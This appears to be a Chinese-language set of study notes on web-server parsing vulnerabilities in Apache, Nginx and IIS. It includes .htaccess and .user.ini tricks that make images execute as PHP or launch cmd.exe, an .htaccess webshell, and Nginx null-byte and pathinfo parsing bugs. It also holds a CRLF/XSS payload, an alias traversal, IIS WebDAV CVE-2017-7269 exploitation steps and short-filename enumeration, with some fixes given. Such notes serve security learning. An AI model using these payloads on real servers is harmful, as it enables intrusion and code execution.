php常见运行方式有 apache的模块模式(分为mod_php和mod_cgi) cgi模式,
fast-cgi模式
cgi模式就是建立在多进程上的, 但是cgi的每一次请求都会有启动和退出的过程(fork-and-execute模式, 启动脚本解析器解析php.ini 初始化运行环境, 载入dll), 这在高并发时性能非常弱.
fast-cgi就是为了解决cgi的问题而诞生的, web server 启动时 会启动fastcgi进程管理器, fastcgi进程管理器读取php.ini文件并初始化, 然后启动多个cgi解释器进程(php-cgi), 当收到请求时,web server会将相关数据发送到fastcgi的子进程 php-cgi中处理.
apache模块模式
mod_php模式, apache调用与php相关模块(apache内置), 将php当做apache子模块运行. apache每收到一个请求就会启动一个进程并通过sapi(php和外部通信的接口)来连接php
mod_cgi/mod_fcgid模式 使用cgi或者fast-cgi实现.
而php版本分为nts(None-Thread Safe) 和 ts(Thread Safe), 在windows中创建线程更为快捷,而在linux中创建进程更快捷,在nts版本下 fast-cgi拥有更好的性能所以windows下经常采用fast-cgi方式解析php. 所以在nts版本里面是没有mod_php (phpxapachexxx.dll)模块的.
AddHandler:
AddHandler php5-script .jpg
AddHandler fcgid-script .jpg
在文件扩展名与特定处理器之间建立映射
Addtype:
AddType application/x-httpd-php .jpg
如:
flag.php.aaa 就会解析为php文件
其中php文件后缀
".+\.ph(p[345]?|t|tml)\."
php,php3,php4,php5,pht,phtml都会当成php文件执行
.htaccess
修改
.htaccess
的文件名修改apache下的conf文件的AccessFileName .htaccess
作用
.htaccess文件可以配置很多事情,如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置WWW域名重定向、设置网页重定向、设置图片防盗链和访问权限控制。但我们这里只关心.htaccess文件的一个作用——MIME类型修改。
在CGI/FastCGI
模式下 (在phpinfo中的Server API查看)
.htaccess
文件配置
AddHandler fcgid-script .jpg
FcgidWrapper "G:/11111111gongju/phpstudy_pro/Extensions/php/php7.0.9nts/php-cgi.exe" .jpg
将php-cgi.exe路径改为对应的php版本即可
执行命令(此方法下我无法解析php了)
AddHandler添加某一特殊文件后缀作为cgi程序
.htaccess
Options +ExecCGI
AddHandler cgi-script .jpg
test.jpg
#!C:/Windows/System32/cmd.exe /c start notepad
test
必须要有两排数据 第二排随意
方法二:
打开任意文件执行命令
Options +ExecCGI(如果配置文件中有则不用添加)
AddHandler fcgid-script .jpg
FcgidWrapper "C:/Windows/System32/cmd.exe /c start calc.exe" .jpg
这与apache的conf/vhosts文件夹中的配置相同, 这个文件夹可以在单个ip创建不同域名的配置文件.
SetHandler
将目录下所有文件视为cgi程序SetHandler cgi-script
或者
SetHandler fcgid-script
FcgidWrapper "C:/Windows/System32/cmd.exe /c start calc.exe
不需要添加后缀
使用相对路径
无法使用绝对路径是可以利用一下
在handler模式下
1. 配置文件中在对应目录下 如: /var/www/html添加 AllowOverride All
windows下Apache要加载mod_Rewrite模块,配置文件上写上:LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
重启apache
1. AddType application/x-httpd-php .xxx
AddHandler application/x-httpd-php .xxx 将xxx后缀作为php解析
2. SetHandler application/x-httpd-php 将该目录下所有文件及其子文件中的文件当做php解析
3.
<FilesMatch ".+\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
该语句会让Apache把.jpg文件解析为php文件。
防御方法
修改匹配规则
<FileMatch ".+\.php$"> SetHandler application/x-httpd-php </FileMatch>
禁止.php.这样的文件执行
<FileMatch ".+\.ph(p[3457]?|t|tml)\."> Require all denied </FileMatch>
.htaccess包含文件
php_value auto_prepend_file "test.jpg" 文件开始插入
php_value auto_append_file "test.jpg" 文件结束插入
利用伪协议
php_value auto_prepend_file php://filter/convert.base64-decode/resource=test.jpg
test.jpg
<?php phpinfo();?>
查看apache服务器信息
SetHandler server-status
绕过preg_math
设置回溯限制
pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false,在,htaccess中手动修改这个限制
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
使.htaccess
可以访问
编辑.htaccess
<Files ~ ".htaccess">
Require all granted
Order allow,deny
Allow from all
</Files>
将.htaccess
作为shell
<Files ~ ".htaccess">
Require all granted
Order allow,deny
Allow from all
</Files>
SetHandler application/x-httpd-php
#<?php phpinfo();?>
注意#号
反斜线绕过
SetHa\
ndler appli\
cation/x-ht\
tpd-php
文件中不能包含某些关键字符
上传base加密的文件
利用php_value auto_prepend_file包含文件时base解密
包含session文件
php_value auto_append_file "/tmp/sess_session文件名"
php_value session.save_path "/tmp" # session文件储存位置
php_flag session.upload_progress.cleanup off # session上传进度
.use.ini
.usr.ini
不只是nginx专有的, 只要是以 fastcgi 方式运行php的 都能够使用(apache/nginx/iis), 作用相当于可以自定义的php.ini
文件
auto_prepend_file=123.jpg 文件前包含
auto_append_file = 123.jpg文件后包含
让目录下的所有php文件自动包含123.jpg
文件
httpd.conf
下
Options+Indexes+FollowSymLinks +ExecCGI 改为 Options-Indexes+FollowSymLinks +ExecCGI
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
当nginx匹配到
.php
结尾的文件时就将其当做php文件解析当我们请求
test.jpg[0x20][0x00].php
时, 就会将其匹配为php文件, 但是nginx却认为这是jpg文件, 将其设置为SCRIPT_FILENAME的值发送给fastcgi, fastcgi根据SCRIPT_FILENAME
的值进行解析造成漏洞
我们只需上传一个空格结尾的文件(如1.jpg空格
), 访问1.jpg空格[0x00].php就行
可以先发写为1.jpgaa.php, 然后再hex格式中修改为20 00
源文件为test.jpg
访问时改为test.jpg/x.php
解析为php(x随意)
1. 在高版本的php中关闭security.limit_extensions(在php-fpm.conf直接删除)
一般为security.limit_extensions php只允许.php文件执行, 添加 .jpg 将jpg文件作为php文件执行, 需要重启php-fpm
2. php.ini中设置cgi.fix_pathinfo=1
当访问/test.jpg/x.php时 若x.php不存在则向前解析
修复
php.ini 中的 cgi.fix_pathinfo=0 访问后就是404
将/etc/php5/fpm/pool.d/www.conf 添加 security.limit_extensions = .php
http的报文就是CRLF
分隔的(回车+换行)
若nginx在解析url时将其解码则会造成注入
错误的配置文件
location / {
return 302 https://$host$uri;
}
详细可参考: Bottle HTTP 头注入漏洞探究 | 离别歌 (leavesongs.com)
新浪某站CRLF Injection导致的安全问题 | 离别歌 (leavesongs.com)
在请求时加上
/%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>(%0d%0a==>回车+换行)
alias
为目录配置别名时, 如果没有没有添加/
nginx.conf
修改为
location /files { #这里files就没有闭合
autoindex on;
alias /home/;
访问files../
即可造成目录穿越
修复: 将/files闭合 ==> /files/
错误配置文件
Nginx配置文件子块(server、location、if)中的add_header
,将会覆盖父块中的add_header
添加的HTTP头
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;
location = /test1 {
rewrite ^(.*)$ /xss.html break;
}
location = /test2 {
add_header X-Content-Type-Options nosniff; #覆盖掉父块中的配置
rewrite ^(.*)$ /xss.html break;
}
iis 6.0 开启webdav, 攻击前记得拍摄快照!!!!!
exp: zcgonvh/cve-2017-7269: fixed msf module for cve-2017-7269 (github.com)
直接set rhost然后exploit
直接打是用在iis没有绑定主机时
如果绑定了就需要输入物理路径长度 (如: c:\inetpub\wwwroot\
就是19)
修改路径为c:\inetpub\wwwroot1111111
使用脚本爆破(Windows-Exploit/IIS6_WebDAV_Scanner at master · admintony/Windows-Exploit (github.com)
set PhysicalPathLength 26
然后即可攻击成功
条件 IIS6.0 开启WebDAV和来宾用户写权限
使用PUT方式, 上传txt文件(直接上传asp文件会失败)
然后利用move将txt文件修改为asp, 变为可执行脚本 蚁剑连接
记得在web扩展中开启active server pages
windows下为兼容MS-DOS而生成的短文件
只显示前6个字符, 后面的字符使用~1,~2等等代替, 后缀只显示前3个字符. 并且全部以大写字母显示
文件名大于9或者后缀大于4才会生成短文件名, 使用
dir /x
查看短文件名
影响版本
IIS 1.0,Windows NT 3.51
IIS 3.0,Windows NT 4.0 Service Pack 2
IIS 4.0,Windows NT 4.0选项包
IIS 5.0,Windows 2000
IIS 5.1,Windows XP Professional和Windows XP Media Center Edition
IIS 6.0,Windows Server 2003和Windows XP Professional x64 Edition
IIS 7.0,Windows Server 2008和Windows Vista
IIS 7.5,Windows 7(远程启用<customerrors>或没有web.config)</customerrors>
IIS 7.5,Windows 2008(经典管道模式)
IIS使用.Net Framework 4时不受影响
漏洞成因
使用短文件名访问存在的文件时会返回404, 否则返回400
如存在aaaaaaaaaa.txt 短文件名为 AAAAAA~1.TXT的文件
访问http://xxxxx/A*~1.*/.aspx会返回404
通过逐步增加字符找出文件的文件名
缺点:
只能找出前6个字符和后缀的三个字符
只能猜解有短文件名的文件
不支持中文
iis和.net都需要满足
漏洞修复
升级.net到4.0及以上版本
修改注册表, HKEY\ LOCAL MACHINE\\SYSTEM\\CurrentControlSet\\Control\\FileSystem中的 NtfsDisable8dot3 Name Creation值为1,使其不创建短文件名
cer asa cdx 都会当做asp文件解析
但是我在windows server 2003 + iis 6.0下只有cer可以
漏洞原因:
当访问不存在文件时返回404, 访问不存在短文件名时返回400
版本: iis 6.0
;
截断
xxx.asp;.txt会以asp文件执行
iis 7.5
当iis遇见php后缀文件时, 将其交给php处理, 当php开启cgi.fix_pathinfo时会处理文件, 如同nginx一样
所以输入test.jpg/.php就会当场php处理
参考: 关于CGI和FastCGI的理解 - 天生帅才 - 博客园 (cnblogs.com)
.htaccess利用与Bypass方式总结 - 安全客,安全资讯平台 (anquanke.com)